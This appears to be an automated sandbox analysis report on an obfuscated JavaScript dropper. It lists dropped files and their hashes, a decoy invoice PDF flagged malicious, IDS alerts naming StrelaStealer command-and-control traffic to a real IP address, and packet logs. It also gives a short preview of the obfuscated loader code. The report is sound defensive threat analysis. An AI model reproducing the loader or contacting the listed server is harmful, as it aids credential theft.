SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3d49df77-dc68-411b-967b-b3a5621e78ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bf518ef7-45b6-402d-b58a-01921cececab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15284), with CRLF line terminators
Entropy (8bit):	4.942142474640683
TrID:
File name:	270423757158192531.js
File size:	18'784 bytes
MD5:	815f3c94c8d75f01fb3952f0ad8e240e
SHA1:	607df04a9e0727df1d887dfbb3e110714858bce9
SHA256:	d3c5584668a9ca01b5fcabfdadeddabdc43f84811a8c8eab7a9157e9c33e0307
SHA512:	b49e4053b1ad789f353b078962302beda701d668000afbf6b8519e8cdd6ddfc06dbd65834afa52c18d028319c082764412d11db444584a627fdfcecb288848ff
SSDEEP:	192:Prjg6dzrQcNj+cry0NjhfKwy0NjpRS5oH8Ih+hYVy6L8Dydl0xBsHOKGi0qhIaNQ:XHLzKIiwHOu0qKaNhAC3XM68H
TLSH:	4A82A6E8C4844442CCEB75609AD76CE9337A94988570549C7003F3BB97ADE826EFA3B5
File Content Preview:	function sgjakwxoc(){daurywqlu=[1031,3079,5127,4103,2055,3072];var qqhzy=this[vkbgusu+upkgbgy+wtaedrm+wzayrug+byanzb+wqvvtruz+enpgarvc+dwjluiyh](this[jbeysrqtt+zmrrxiw+essbva+wtaedrm+mswjxs+vkbgusu+dwjluiyh][koyzciri+wtaedrm+byanzb+upkgbgy+dwjluiyh+byanzb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:30:29.121490+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:30:29.121490+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:30:31.598337+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:30:28.321095943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:28.326208115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:28.326308966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:28.329566956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:28.334556103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121402979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121423006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121438980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121490002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.121658087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121673107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121696949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121710062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121714115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.121725082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121741056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121753931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.121757030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.121797085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.121824980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.126883030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.126903057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.126918077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.126957893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.163875103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.163896084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.163913012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.163945913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.163975000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.249139071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249166012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249234915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249305964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249324083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249342918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.249392986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.249475956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249491930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249536037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.249905109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.249991894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.250010967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250242949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250298977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.250354052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250370979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250416994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.250633955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250737906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250755072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250802994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.250946045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250962973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.250998020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.251621962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.251638889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.251656055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.251677990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.251703024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.252336025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.252398014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.252414942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.252444983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.252573013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.252629042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.292136908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.292160034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.292264938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.338078022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.338100910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.338182926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.377887011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.377933979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.377950907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378021002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378098965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378144979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378170967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378211021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.378287077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378302097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.378303051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378345966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.378489017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378547907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.378566980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378585100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378644943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.378760099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378777981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378793955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.378839016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.378993988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.379055023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.379407883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.379487038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.379503012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.379611969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.379653931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.379673004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.379713058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.380043030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380104065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.380120993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380136013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380187035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.380325079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380378962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380394936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380412102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.380436897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.380465984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.381114960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381133080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381149054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381184101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.381279945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381295919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381310940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381325960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381355047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.381402016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.381917953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.381978035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.381987095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382003069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382055998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.382201910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382217884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382232904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382249117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382285118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.382420063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.382836103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382926941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.382992029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.423307896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.423413992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.423449039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.423680067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.426460981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.426510096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.426527023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.426537037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.426570892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.426584959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.466528893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.466553926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.466622114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506120920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506166935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506185055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506192923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506237984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506259918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506277084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506331921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506383896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506400108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506443977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506525993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506540060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506584883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506648064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506702900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506719112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506782055 CET	49730	80	192.168.2.4	193.143.1.205
